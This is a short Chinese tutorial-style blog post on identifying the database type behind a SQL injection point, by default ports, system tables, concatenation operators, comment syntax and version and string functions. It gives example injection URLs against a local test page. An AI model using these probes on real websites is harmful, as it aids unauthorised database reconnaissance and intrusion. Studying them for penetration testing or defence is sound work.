zoukankan      html  css  js  c++  java
  • SQL注入判断数据库类型

    页面返回的报错信息判断

    默认端口判断

    1. Oracle
      port:1521
    2. SQL Server
      port:1433
    3. MySQL
      port:3306

    数据库特有的数据表判断

    oracle数据库

    http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
    

    mysql数据库(mysql版本在5.0以上)

    http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
    

    access数据库

    http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
    

    mssql数据库

    http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
    

    数据库特有的连接符判断

    mysql数据库

    http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
    
    http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'
    

    mssql数据库

    http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
    

    oracle数据库

    http://127.0.0.1/test.php?id=1 and '1'||'1'='11'
    
    http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'
    

    符号判断

    1. mysql数据库:(1)以" /* "开始,以" */ "结束。(2)或者" # "。
    2. Oracle: 支持单行注释" -- "和多行注释" /* */ "
    3. " ; "是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库

    特定函数判断

    length() lengthb() char_length()

    1. Oracle: length():表示字符串长度 lengthb():表示字符串的字节长度
    2. mysql:length():返回字符串所占的字节数 char_length():返回字符串的字符数

    @@version version()

    mysql: @@version或是version()来返回当前的版本信息。
    但无法判断是mysql还是mssql时,可以用version()函数来构造判断。
    version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

    substring substr

    在mssql中可以调用substring(), oracle则只可调用substr()

  • 相关阅读:
    第010讲~第011讲:一个打了激素的数组
    练习15--阅读文件
    第007讲~第009讲:了不起的分支和循环
    第006讲:Python之常用操作符
    第005讲:闲聊之python的数据类型
    练习14--提示和传递
    第004讲:改进我们的小游戏
    ICPC Central Europe Regional Contest 2019 H. Ponk Warshall
    2019 ICPC Asia Yinchuan Regional G. Pot!!(线段树 区间更新 区间查询)
    CF1286A Garland
  • 原文地址:https://www.cnblogs.com/riyir/p/12623272.html
Copyright © 2011-2022 走看看